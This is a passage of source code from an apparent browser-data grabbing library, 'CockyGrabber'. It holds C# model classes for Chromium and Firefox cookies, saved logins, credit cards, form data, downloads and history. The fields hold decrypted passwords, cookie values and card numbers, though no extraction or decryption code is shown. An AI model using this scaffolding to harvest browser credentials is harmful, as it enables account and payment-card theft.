set without the SameSite attribute. 14 | /// 15 | Unspecified = -1, 16 | /// 17 | /// Cookies will be sent in all contexts, i.e. in responses to both first-party and cross-site requests. 18 | /// 19 | None = 0, 20 | /// 21 | /// Cookies are not sent on normal cross-site subrequests (for example to load images or frames into a third party site), but are sent when a user is navigating to the origin site (i.e., when following a link). 22 | /// 23 | Lax = 1, 24 | /// 25 | /// Cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. 26 | /// 27 | Strict = 2, 28 | } 29 | public enum Header 30 | { 31 | creation_utc, 32 | top_frame_site_key, 33 | host_key, 34 | name, 35 | value, 36 | encrypted_value, 37 | path, 38 | expires_utc, 39 | is_secure, 40 | is_httponly, 41 | last_access_utc, 42 | has_expires, 43 | is_persistent, 44 | priority, 45 | samesite, 46 | source_scheme, 47 | source_port, 48 | is_same_party, 49 | } 50 | 51 | /// 52 | /// The creation time of the cookie. 53 | /// 54 | public DateTimeOffset CreationUTC { get; set; } 55 | /// 56 | /// The top frame site key of the cookie. 57 | /// 58 | public string TopFrameSiteKey { get; set; } 59 | /// 60 | /// The host key of the cookie. (the hostname/domain) 61 | /// 62 | public string HostKey { get; set; } 63 | /// 64 | /// The name of the cookie. 65 | /// 66 | public string Name { get; set; } 67 | /// 68 | /// The value of the cookie. 69 | /// This is not the decrypted value! 70 | /// 71 | public string Value { get; set; } 72 | /// 73 | /// The encrypted value of the cookie. 74 | /// 75 | public byte[] EncryptedValue { get; set; } 76 | /// 77 | /// The decrypted value of the cookie. 78 | /// 79 | public string DecryptedValue { get; set; } 80 | /// 81 | /// The path of the cookie. 82 | /// 83 | public string Path { get; set; } 84 | /// 85 | /// The cookie's expiry date. 86 | /// 87 | public DateTimeOffset ExpiresUTC { get; set; } 88 | /// 89 | /// Boolean indicating if the cookie uses a secure connection. 90 | /// 91 | public bool IsSecure { get; set; } 92 | /// 93 | /// Boolean indicating if the cookie is a in browser element. 94 | /// 95 | public bool IsHttpOnly { get; set; } 96 | /// 97 | /// Time at which the cookie was last accessed. 98 | /// 99 | public DateTimeOffset LastAccessUTC { get; set; } 100 | /// 101 | /// Boolean indicating if the cookie does expire. 102 | /// 103 | public bool HasExpires { get; set; } 104 | /// 105 | /// Boolean indicating if the cookie is persistent. 106 | /// 107 | public bool IsPersistent { get; set; } 108 | /// 109 | /// The priority of the cookie. 110 | /// 111 | public short Priority { get; set; } 112 | /// 113 | /// SameSite determines whether the cookie can be sent along with cross-site requests. 114 | /// 115 | public SameSiteType Samesite { get; set; } 116 | /// 117 | /// I don't fucking know 118 | /// 119 | public short SourceScheme { get; set; } 120 | /// 121 | /// The port of the cookie's host. 122 | /// 123 | public int SourcePort { get; set; } 124 | /// 125 | /// I don't fucking know 126 | /// 127 | public bool IsSameParty { get; set; } 128 | 129 | public override string ToString() => $"HostKey = '{HostKey}' | Name = '{Name}' | DecryptedValue = '{DecryptedValue}'"; 130 | public string ToJson() => Tools.BrowserInformationToJson(this); 131 | } 132 | } 133 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/CreditCard.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class CreditCard 9 | { 10 | public enum Header 11 | { 12 | guid, 13 | name_on_card, 14 | expiration_month, 15 | expiration_year, 16 | card_number_encrypted, 17 | date_modified, 18 | origin, 19 | use_count, 20 | use_date, 21 | billing_address_id, 22 | nickname, 23 | } 24 | 25 | /// 26 | /// The guid of the credit card. 27 | /// 28 | public string Guid { get; set; } 29 | /// 30 | /// The name on the credit card. 31 | /// 32 | public string NameOnCard { get; set; } 33 | /// 34 | /// The expiration month of the credit card. 35 | /// 36 | public short ExpirationMonth { get; set; } 37 | /// 38 | /// The expiration year of the credit card. 39 | /// 40 | public short ExpirationYear { get; set; } 41 | /// 42 | /// The encrypted credit card number. 43 | /// 44 | public byte[] CardNumberEncrypted { get; set; } 45 | /// 46 | /// The decrypted credit card number. 47 | /// 48 | public string CardNumberDecrypted { get; set; } 49 | /// 50 | /// The date on which it was last modified. 51 | /// 52 | public DateTimeOffset DateModified { get; set; } 53 | /// 54 | /// The credit card's origin. (The place from where it was created) 55 | /// 56 | public string Origin { get; set; } 57 | /// 58 | /// Times the credit card was used. 59 | /// 60 | public int UseCount { get; set; } 61 | /// 62 | /// The date on which the credit card was last used. 63 | /// 64 | public DateTimeOffset UseDate { get; set; } 65 | /// 66 | /// The credit card's billing address id 67 | /// 68 | public string BillingAddressId { get; set; } 69 | /// 70 | /// The credit card's nickname 71 | /// 72 | public string Nickname { get; set; } 73 | 74 | public override string ToString() => $"NameOnCard = '{NameOnCard}' | ExpirationMonth = '{ExpirationMonth}' | ExpirationYear = '{ExpirationYear}' | CardNumberDecrypted = '{CardNumberDecrypted}'"; 75 | public string ToJson() => Tools.BrowserInformationToJson(this); 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/Download.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class Download 9 | { 10 | public enum Header 11 | { 12 | id, 13 | guid, 14 | current_path, 15 | target_path, 16 | start_time, 17 | received_bytes, 18 | total_bytes, 19 | state, 20 | danger_type, 21 | interrupt_reason, 22 | hash, 23 | end_time, 24 | opened, 25 | last_access_time, 26 | transient, 27 | referrer, 28 | site_url, 29 | tab_url, 30 | tab_referrer_url, 31 | http_method, 32 | by_ext_id, 33 | by_ext_name, 34 | etag, 35 | last_modified, 36 | mime_type, 37 | original_mime_type, 38 | embedder_download_data, 39 | } 40 | 41 | /// 42 | /// The ID of the download. 43 | /// 44 | public int Id { get; set; } 45 | /// 46 | /// The GUID of the download. 47 | /// 48 | public string Guid { get; set; } 49 | /// 50 | /// The current path of the download 51 | /// 52 | public string CurrentPath { get; set; } 53 | /// 54 | /// The target path of the download 55 | /// 56 | public string TargetPath { get; set; } 57 | /// 58 | /// The time at which the download started. 59 | /// 60 | public DateTimeOffset StartTime { get; set; } 61 | /// 62 | /// The number of received bytes. 63 | /// 64 | public int ReceivedBytes { get; set; } 65 | /// 66 | /// The number of total bytes. 67 | /// 68 | public int TotalBytes { get; set; } 69 | /// 70 | /// The download's state. 71 | /// 72 | public short State { get; set; } 73 | /// 74 | /// The download's danger type. 75 | /// 76 | public short DangerType { get; set; } 77 | /// 78 | /// The download's interrupt reason. 79 | /// 80 | public short InterruptReason { get; set; } 81 | /// 82 | /// The download's hash. 83 | /// 84 | public byte[] Hash { get; set; } 85 | /// 86 | /// The time at which the download ended. 87 | /// 88 | public DateTimeOffset EndTime { get; set; } 89 | /// 90 | /// Boolean indicating if the download is opened. 91 | /// 92 | public bool IsOpened { get; set; } 93 | /// 94 | /// The time at which the download was last accessed. 95 | /// 96 | public DateTimeOffset LastAccessTime { get; set; } 97 | /// 98 | /// I don't fucking know. 99 | /// 100 | public int Transient { get; set; } 101 | /// 102 | /// The download's referrer. 103 | /// 104 | public string Referrer { get; set; } 105 | /// 106 | /// The download's site URL. 107 | /// 108 | public string SiteUrl { get; set; } 109 | /// 110 | /// The download's tab URL. 111 | /// 112 | public string TabUrl { get; set; } 113 | /// 114 | /// The download's tab referrer URL. 115 | /// 116 | public string TabReferrerUrl { get; set; } 117 | /// 118 | /// The download's http method. 119 | /// 120 | public string HttpMethod { get; set; } 121 | /// 122 | /// The download's by extension identifier. 123 | /// 124 | public string ByExtId { get; set; } 125 | /// 126 | /// The download's by extension name. 127 | /// 128 | public string ByExtName { get; set; } 129 | /// 130 | /// The download's e-tag. 131 | /// 132 | public string Etag { get; set; } 133 | /// 134 | /// The time at which the download was last modified. 135 | /// 136 | public DateTimeOffset LastModified { get; set; } 137 | /// 138 | /// The download's mime type. 139 | /// 140 | public string MimeType { get; set; } 141 | /// 142 | /// The download's original mime type. 143 | /// 144 | public string OriginalMimeType { get; set; } 145 | /// 146 | /// The download's embedder download data. 147 | /// 148 | public string EmbedderDownloadData { get; set; } 149 | 150 | /// 151 | /// The URL from which the file was downloaded. 152 | /// 153 | public string Url { get; set; } 154 | /// 155 | /// The downloaded file's name. 156 | /// 157 | public string Filename { get; set; } 158 | 159 | public override string ToString() => $"Filename = '{Filename}' | Url = '{Url}'"; 160 | public string ToJson() => Tools.BrowserInformationToJson(this); 161 | } 162 | } 163 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/Form.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class Form 9 | { 10 | public enum Header 11 | { 12 | name, 13 | value, 14 | value_lower, 15 | date_created, 16 | date_last_used, 17 | count, 18 | } 19 | 20 | /// 21 | /// The name of the form data. 22 | /// 23 | public string Name { get; set; } 24 | /// 25 | /// The value of the form data. 26 | /// 27 | public string Value { get; set; } 28 | /// 29 | /// The value of the form data, converted to lowercase. 30 | /// 31 | public string ValueLower { get; set; } 32 | /// 33 | /// The date the form data was created. 34 | /// 35 | public DateTimeOffset DateCreated { get; set; } 36 | /// 37 | /// The date the form data was last used. 38 | /// 39 | public DateTimeOffset DateLastUsed { get; set; } 40 | /// 41 | /// The number of times the form data was used. 42 | /// 43 | public int Count { get; set; } 44 | 45 | public override string ToString() => $"Name = '{Name}' | Value = '{Value}' | DateLastUsed = '{DateLastUsed}'"; 46 | public string ToJson() => Tools.BrowserInformationToJson(this); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/Login.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class Login 9 | { 10 | public enum Header 11 | { 12 | origin_url, 13 | action_url, 14 | username_element, 15 | username_value, 16 | password_element, 17 | password_value, 18 | submit_element, 19 | signon_realm, 20 | date_created, 21 | blacklisted_by_user, 22 | scheme, 23 | password_type, 24 | times_used, 25 | form_data, 26 | display_name, 27 | icon_url, 28 | federation_url, 29 | skip_zero_click, 30 | generation_upload_status, 31 | possible_username_pairs, 32 | id, 33 | date_last_used, 34 | moving_blocked_for, 35 | date_password_modified 36 | } 37 | 38 | /// 39 | /// The Origin URL of the login. (The host the login is for) 40 | /// 41 | public string OriginUrl { get; set; } 42 | /// 43 | /// The Action URL of the login. 44 | /// 45 | public string ActionUrl { get; set; } 46 | /// 47 | /// The Username Element of the login. 48 | /// 49 | public string UsernameElement { get; set; } 50 | /// 51 | /// The Username Value of the login. 52 | /// 53 | public string UsernameValue { get; set; } 54 | /// 55 | /// The Password Element of the login. 56 | /// 57 | public string PasswordElement { get; set; } 58 | /// 59 | /// The Password Value of the login. 60 | /// 61 | public byte[] PasswordValue { get; set; } 62 | /// 63 | /// The decrypted password value of the login. 64 | /// 65 | public string DecryptedPasswordValue { get; set; } 66 | /// 67 | /// The login's SubmitElement value. 68 | /// 69 | public string SubmitElement { get; set; } 70 | /// 71 | /// The login's SignonRealm value. 72 | /// 73 | public string SignonRealm { get; set; } 74 | /// 75 | /// Time at which the cookie was created. 76 | /// 77 | public DateTimeOffset DateCreated { get; set; } 78 | /// 79 | /// Boolean indicating if the login is blacklisted by the user. 80 | /// 81 | public bool IsBlacklistedByUser { get; set; } 82 | /// 83 | /// I don't fucking know 84 | /// 85 | public int Scheme { get; set; } 86 | /// 87 | /// The password type of the login. 88 | /// 89 | public int PasswordType { get; set; } 90 | /// 91 | /// The number of uses of the login. 92 | /// 93 | public int TimesUsed { get; set; } 94 | /// 95 | /// The login's FormData value. 96 | /// 97 | public string FormData { get; set; } 98 | /// 99 | /// The login's display name. 100 | /// 101 | public string DisplayName { get; set; } 102 | /// 103 | /// The Icon URL of the login. 104 | /// 105 | public string IconUrl { get; set; } 106 | /// 107 | /// The login's federation URL. 108 | /// 109 | public string FederationUrl { get; set; } 110 | /// 111 | /// I don't fucking know. 112 | /// 113 | public int SkipZeroClick { get; set; } 114 | /// 115 | /// I don't fucking know. 116 | /// 117 | public int GenerationUploadStatus { get; set; } 118 | /// 119 | /// Possible username pairs of the login. 120 | /// 121 | public string PossibleUsernamePairs { get; set; } 122 | /// 123 | /// The login's unique identifier. 124 | /// 125 | public int Id { get; set; } 126 | /// 127 | /// Time at which the cookie was last used. 128 | /// 129 | public DateTimeOffset DateLastUsed { get; set; } 130 | /// 131 | /// I don't fucking know. 132 | /// 133 | public string MovingBlockedFor { get; set; } 134 | /// 135 | /// Time at which the cookie was last modified. 136 | /// 137 | public DateTimeOffset DatePasswordModified { get; set; } 138 | 139 | public override string ToString() => $"OriginUrl = '{OriginUrl}' | UsernameValue = '{UsernameValue}' | DecryptedPasswordValue = '{DecryptedPasswordValue}'"; 140 | public string ToJson() => Tools.BrowserInformationToJson(this); 141 | } 142 | } 143 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/Site.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class Site 9 | { 10 | public enum Header 11 | { 12 | id, 13 | url, 14 | title, 15 | visit_count, 16 | typed_count, 17 | last_visit_time, 18 | hidden, 19 | } 20 | 21 | /// 22 | /// The identifer of the site entry. 23 | /// 24 | public int Id { get; set; } 25 | /// 26 | /// The URL of the site. 27 | /// 28 | public string Url { get; set; } 29 | /// 30 | /// The title of the site. 31 | /// 32 | public string Title { get; set; } 33 | /// 34 | /// The visit count of the site. 35 | /// 36 | public int VisitCount { get; set; } 37 | /// 38 | /// The number of times that the site was typed in the search bar. 39 | /// 40 | public int TypedCount { get; set; } 41 | /// 42 | /// The time at which the site was last visited. 43 | /// 44 | public DateTimeOffset LastVisitTime { get; set; } 45 | /// 46 | /// Boolean indicating if the site entry is hidden in the history tab. 47 | /// 48 | public bool IsHidden { get; set; } 49 | /// 50 | /// The number of visits of the site. 51 | /// 52 | 53 | public override string ToString() => $"Title = '{Title}' | Url = '{Url}'"; 54 | public string ToJson() => Tools.BrowserInformationToJson(this); 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/Bookmark.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class Bookmark 9 | { 10 | public enum Header 11 | { 12 | id, 13 | type, 14 | fk, 15 | parent, 16 | position, 17 | title, 18 | keyword_id, 19 | folder_type, 20 | dateAdded, 21 | lastModified, 22 | guid, 23 | syncStatus, 24 | syncChangeCounter, 25 | } 26 | 27 | /// 28 | /// The identifier of the bookmark. 29 | /// 30 | public int Id { get; set; } 31 | /// 32 | /// The bookmark type. 33 | /// 34 | public int Type { get; set; } 35 | /// 36 | /// The foreign key of the bookmark. 37 | /// 38 | public int ForeignKey { get; set; } 39 | /// 40 | /// The parent the bookmark. 41 | /// 42 | public int Parent { get; set; } 43 | /// 44 | /// The position the bookmark. 45 | /// 46 | public int Position { get; set; } 47 | /// 48 | /// The title the bookmark. 49 | /// 50 | public string Title { get; set; } 51 | /// 52 | /// The keyword id the bookmark. 53 | /// 54 | public int KeywordId { get; set; } 55 | /// 56 | /// The foldertype the bookmark. 57 | /// 58 | public string FolderType { get; set; } 59 | /// 60 | /// The time at which the bookmark was added. 61 | /// 62 | public DateTimeOffset DateAdded { get; set; } 63 | /// 64 | /// The time at which the bookmark was last modified. 65 | /// 66 | public DateTimeOffset LastModified { get; set; } 67 | /// 68 | /// The guid of the bookmark. 69 | /// 70 | public string Guid { get; set; } 71 | /// 72 | /// The synchronization status of the bookmark. 73 | /// 74 | public int SyncStatus { get; set; } 75 | /// 76 | /// The number of time the synchronization was changed. 77 | /// 78 | public int SyncChangeCounter { get; set; } 79 | 80 | /// 81 | /// The URL of the bookmark. 82 | /// 83 | public string Url { get; set; } 84 | 85 | public override string ToString() => $"Title = '{Title}' | Url = '{Url}'"; 86 | public string ToJson() => Tools.BrowserInformationToJson(this); 87 | } 88 | } 89 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/Cookie.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class Cookie 9 | { 10 | public enum SameSiteType 11 | { 12 | /// 13 | /// Cookies will be sent in all contexts, i.e. in responses to both first-party and cross-site requests. 14 | /// 15 | None = 0, 16 | /// 17 | /// Cookies are not sent on normal cross-site subrequests (for example to load images or frames into a third party site), but are sent when a user is navigating to the origin site (i.e., when following a link). 18 | /// 19 | Lax = 1, 20 | /// 21 | /// Cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. 22 | /// 23 | Strict = 2, 24 | } 25 | public enum Header 26 | { 27 | id, 28 | originAttributes, 29 | name, 30 | value, 31 | host, 32 | path, 33 | expiry, 34 | lastAccessed, 35 | creationTime, 36 | isSecure, 37 | isHttpOnly, 38 | inBrowserElement, 39 | sameSite, 40 | rawSameSite, 41 | schemeMap, 42 | } 43 | 44 | /// 45 | /// The cookie's unique identifier. 46 | /// 47 | public int Id { get; set; } 48 | /// 49 | /// The cookie's origin attributes. 50 | /// 51 | public string OriginAttributes { get; set; } 52 | /// 53 | /// The cookie's name. 54 | /// 55 | public string Name { get; set; } 56 | /// 57 | /// The cookie's value. 58 | /// 59 | public string Value { get; set; } 60 | /// 61 | /// The cookie's host. (the domain) 62 | /// 63 | public string Host { get; set; } 64 | /// 65 | /// The cookie's path. 66 | /// 67 | public string Path { get; set; } 68 | /// 69 | /// The cookie's expiry date. 70 | /// 71 | public DateTimeOffset Expiry { get; set; } 72 | /// 73 | /// Time at which the cookie was last accessed. 74 | /// 75 | public DateTimeOffset LastAccessed { get; set; } 76 | /// 77 | /// Time at which the cookie was created. 78 | /// 79 | public DateTimeOffset CreationTime { get; set; } 80 | /// 81 | /// Boolean indicating if the cookie uses a secure connection. 82 | /// 83 | public bool IsSecure { get; set; } 84 | /// 85 | /// Boolean indicating if the cookie works only with HTTP. 86 | /// 87 | public bool IsHttpOnly { get; set; } 88 | /// 89 | /// Boolean indicating if the cookie is a in browser element. 90 | /// 91 | public bool InBrowserElement { get; set; } 92 | /// 93 | /// SameSite determines whether the cookie can be sent along with cross-site requests. 94 | /// 95 | public SameSiteType SameSite { get; set; } 96 | /// 97 | /// I don't fucking know 98 | /// 99 | public short RawSameSite { get; set; } 100 | /// 101 | /// I don't fucking know 102 | /// 103 | public short SchemeMap { get; set; } 104 | 105 | public override string ToString() => $"Host = '{Host}' | Name = '{Name}' | Value = '{Value}'"; 106 | public string ToJson() => Tools.BrowserInformationToJson(this); 107 | } 108 | } 109 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/CreditCard.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class CreditCard 9 | { 10 | public enum CreditCardType 11 | { 12 | Visa, 13 | MasterCard, 14 | AmericanExpress, 15 | Discover, 16 | DinersClub, 17 | JCB, 18 | Mir, 19 | UnionPay, 20 | CarteBancaire, 21 | Unknown 22 | } 23 | public enum Header 24 | { 25 | cc_number, 26 | cc_exp_month, 27 | cc_exp_year, 28 | cc_name, 29 | cc_type, 30 | guid, 31 | version, 32 | timeCreated, 33 | timeLastModified, 34 | timeLastUsed, 35 | timesUsed, 36 | cc_given_name, 37 | cc_additional_name, 38 | cc_family_name, 39 | cc_exp, 40 | cc_number_encrypted, 41 | } 42 | 43 | /// 44 | /// The credit card number. 45 | /// 46 | public string CC_Number { get; set; } 47 | /// 48 | /// The expiration month of the credit card. 49 | /// 50 | public int CC_ExpirationMonth { get; set; } 51 | /// 52 | /// The expiration year of the credit card. 53 | /// 54 | public int CC_ExpirationYear { get; set; } 55 | /// 56 | /// The name on the credit card. 57 | /// 58 | public string CC_Name { get; set; } 59 | /// 60 | /// The type of the credit card. (Visa, MasterCard, etc.) 61 | /// 62 | public CreditCardType CC_Type { get; set; } 63 | /// 64 | /// The Globally Unique Identifier. 65 | /// 66 | public string Guid { get; set; } 67 | /// 68 | /// The version. 69 | /// 70 | public int Version { get; set; } 71 | /// 72 | /// The time the credit card was created. 73 | /// 74 | public DateTimeOffset TimeCreated { get; set; } 75 | /// 76 | /// The time the credit card was last modified. 77 | /// 78 | public DateTimeOffset TimeLastModified { get; set; } 79 | /// 80 | /// The time the credit card was last used. 81 | /// 82 | public DateTimeOffset TimeLastUsed { get; set; } 83 | /// 84 | /// The number of times the credit card was used. 85 | /// 86 | public int TimesUsed { get; set; } 87 | /// 88 | /// The first name on the credit card. 89 | /// 90 | public string CC_GivenName { get; set; } 91 | /// 92 | /// The additional name on the credit card. 93 | /// 94 | public string CC_AdditionalName { get; set; } 95 | /// 96 | /// The family name on the credit card. 97 | /// 98 | public string CC_FamilyName { get; set; } 99 | /// 100 | /// The expiration date of the credit card. (YYYY-MM) 101 | /// 102 | public string CC_Expiry { get; set; } 103 | /// 104 | /// The encrypted credit card number. 105 | /// 106 | public string CC_NumberEncrypted { get; set; } 107 | /// 108 | /// The decrypted credit card number. 109 | /// 110 | public long CC_NumberDecrypted { get; set; } 111 | 112 | 113 | 114 | 115 | public override string ToString() => $"CC_NumberDecrypted = '{CC_NumberDecrypted}' | CC_Expiry = '{CC_Expiry}' | CC_Name = '{CC_Name}' | CC_Type = '{CC_Type}'"; 116 | public string ToJson() => Tools.BrowserInformationToJson(this); 117 | } 118 | } 119 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/Download.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class Download 9 | { 10 | public enum Header 11 | { 12 | id, 13 | place_id, 14 | anno_attribute_id, 15 | content, 16 | flags, 17 | expiration, 18 | type, 19 | dateAdded, 20 | lastModified, 21 | } 22 | 23 | /// 24 | /// The id of the download. 25 | /// 26 | public int Id { get; set; } 27 | /// 28 | /// The id of the place the download was created for. 29 | /// 30 | public int PlaceId { get; set; } 31 | /// 32 | /// The id of the annotation attribute the download was created for. 33 | /// 34 | public int AnnoAttributeId { get; set; } 35 | /// 36 | /// The download's content. 37 | /// 38 | public string Content { get; set; } 39 | /// 40 | /// The download's flags. 41 | /// 42 | public short Flags { get; set; } 43 | /// 44 | /// The expiration of the download. 45 | /// 46 | public int Expiration { get; set; } 47 | /// 48 | /// The download type. 49 | /// 50 | public short Type { get; set; } 51 | /// 52 | /// Time at which the download was added. 53 | /// 54 | public DateTimeOffset DateAdded { get; set; } 55 | /// 56 | /// Time at which the download was last modified. 57 | /// 58 | public DateTimeOffset LastModified { get; set; } 59 | 60 | /// 61 | /// The URL from which the file was downloaded. 62 | /// 63 | public string Url { get; set; } 64 | /// 65 | /// The downloaded file's name. 66 | /// 67 | public string Filename { get; set; } 68 | /// 69 | /// The download's state. 70 | /// 71 | public short State { get; set; } 72 | /// 73 | /// Time at which the download ended. 74 | /// 75 | public DateTimeOffset EndTime { get; set; } 76 | /// 77 | /// Size of the downloaded file. 78 | /// 79 | public long FileSize { get; set; } 80 | 81 | public override string ToString() => $"Filename = '{Filename}' | Url = '{Url}'"; 82 | public string ToJson() => Tools.BrowserInformationToJson(this); 83 | } 84 | } 85 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/Form.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class Form 9 | { 10 | public enum Header 11 | { 12 | id, 13 | fieldname, 14 | value, 15 | timesUsed, 16 | firstUsed, 17 | lastUsed, 18 | guid, 19 | } 20 | 21 | /// 22 | /// The form data's id. 23 | /// 24 | public int Id { get; set; } 25 | /// 26 | /// The form data's field name. 27 | /// 28 | public string Fieldname { get; set; } 29 | /// 30 | /// The form data's value. 31 | /// 32 | public string Value { get; set; } 33 | /// 34 | /// The number of times the form data has been used. 35 | /// 36 | public int TimesUsed { get; set; } 37 | /// 38 | /// The date and time the form data was first used. 39 | /// 40 | public DateTimeOffset FirstUsed { get; set; } 41 | /// 42 | /// The date and time the form data was last used. 43 | /// 44 | public DateTimeOffset LastUsed { get; set; } 45 | /// 46 | /// The form data's guid. 47 | /// 48 | public string Guid { get; set; } 49 | 50 | /// 51 | /// The source id of the form data. 52 | /// 53 | public long SourceId { get; set; } 54 | /// 55 | /// The source of the form data. (The place from where it origins) 56 | /// 57 | public string Source { get; set; } 58 | 59 | public override string ToString() => $"Fieldname = '{Fieldname}' | Value = '{Value}' | Source = '{Source}'"; 60 | public string ToJson() => Tools.BrowserInformationToJson(this); 61 | } 62 | } 63 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/Login.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class Login 9 | { 10 | public enum Header 11 | { 12 | id, 13 | hostname, 14 | httpRealm, 15 | formSubmitURL, 16 | usernameField, 17 | passwordField, 18 | encryptedUsername, 19 | encryptedPassword, 20 | guid, 21 | encType, 22 | timeCreated, 23 | timeLastUsed, 24 | timePasswordChanged, 25 | timesUsed, 26 | } 27 | 28 | /// 29 | /// The id of the login. 30 | /// 31 | public int Id { get; set; } 32 | /// 33 | /// The hostname of the login. (The host the login is for) 34 | /// 35 | public string Hostname { get; set; } 36 | /// 37 | /// The HttpRealm of the login. 38 | /// 39 | public string HttpRealm { get; set; } 40 | /// 41 | /// The form submit URL of the login. 42 | /// 43 | public string FormSubmitURL { get; set; } 44 | /// 45 | /// The username field of the login. 46 | /// 47 | public string UsernameField { get; set; } 48 | /// 49 | /// The password field of the login. 50 | /// 51 | public string PasswordField { get; set; } 52 | /// 53 | /// The encrypted username. 54 | /// 55 | public string EncryptedUsername { get; set; } 56 | /// 57 | /// The decrypted username. 58 | /// 59 | public string DecryptedUsername { get; set; } 60 | /// 61 | /// The encrypted password. 62 | /// 63 | public string EncryptedPassword { get; set; } 64 | /// 65 | /// The decrypted password. 66 | /// 67 | public string DecryptedPassword { get; set; } 68 | /// 69 | /// The login's guid. 70 | /// 71 | public string Guid { get; set; } 72 | /// 73 | /// The enc type of the login. 74 | /// 75 | public short EncType { get; set; } 76 | /// 77 | /// Time at which the login was created. 78 | /// 79 | public DateTimeOffset TimeCreated { get; set; } 80 | /// 81 | /// Time at which the login was last used. 82 | /// 83 | public DateTimeOffset TimeLastUsed { get; set; } 84 | /// 85 | /// Time at which the login's password was last changed. 86 | /// 87 | public DateTimeOffset TimePasswordChanged { get; set; } 88 | /// 89 | /// Number of times used. 90 | /// 91 | public uint TimesUsed { get; set; } 92 | 93 | public override string ToString() => $"Hostname = '{Hostname}' | DecryptedUsername = '{DecryptedUsername}' | DecryptedPassword = '{DecryptedPassword}'"; 94 | public string ToJson() => Tools.BrowserInformationToJson(this); 95 | } 96 | } 97 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Gecko/Site.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Gecko 7 | { 8 | public class Site 9 | { 10 | public enum Header 11 | { 12 | id, 13 | url, 14 | title, 15 | rev_host, 16 | visit_count, 17 | hidden, 18 | typed, 19 | frecency, 20 | last_visit_date, 21 | guid, 22 | foreign_count, 23 | url_hash, 24 | description, 25 | preview_image_url, 26 | origin_id, 27 | site_name, 28 | } 29 | 30 | /// 31 | /// The identifer of the site entry. 32 | /// 33 | public int Id { get; set; } 34 | /// 35 | /// The URL of the site. 36 | /// 37 | public string Url { get; set; } 38 | /// 39 | /// The title of the site. 40 | /// 41 | public string Title { get; set; } 42 | /// 43 | /// The reverse host of the site. 44 | /// 45 | public string RevHost { get; set; } 46 | /// 47 | /// The visit count of the site. 48 | /// 49 | public int VisitCount { get; set; } 50 | /// 51 | /// Boolean indicating if the site entry is hidden in the history tab. 52 | /// 53 | public bool IsHidden { get; set; } 54 | /// 55 | /// Boolean indicating if the site is typed. 56 | /// 57 | public bool IsTyped { get; set; } 58 | /// 59 | /// The site's frecency. 60 | /// 61 | public int Frecency { get; set; } 62 | /// 63 | /// Time & Date at which the site was last visited. 64 | /// 65 | public DateTimeOffset LastVisitDate { get; set; } 66 | /// 67 | /// The site entries guid. 68 | /// 69 | public string Guid { get; set; } 70 | /// 71 | /// The site's foreign count. 72 | /// 73 | public int ForeignCount { get; set; } 74 | /// 75 | /// The site's URL hash. 76 | /// 77 | public long UrlHash { get; set; } 78 | /// 79 | /// The site's description. 80 | /// 81 | public string Description { get; set; } 82 | /// 83 | /// The site's preview image URL. 84 | /// 85 | public string PreviewImageUrl { get; set; } 86 | /// 87 | /// The site's origin identifier. 88 | /// 89 | public int Originid { get; set; } 90 | /// 91 | /// The site's name. 92 | /// 93 | public string SiteName { get; set; } 94 | 95 | public override string ToString() => $"Title = '{Title}' | Url = '{Url}'"; 96 | public string ToJson() => Tools.BrowserInformationToJson(this); 97 | } 98 | } 99 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Resources; 2 | using System.Reflection; 3 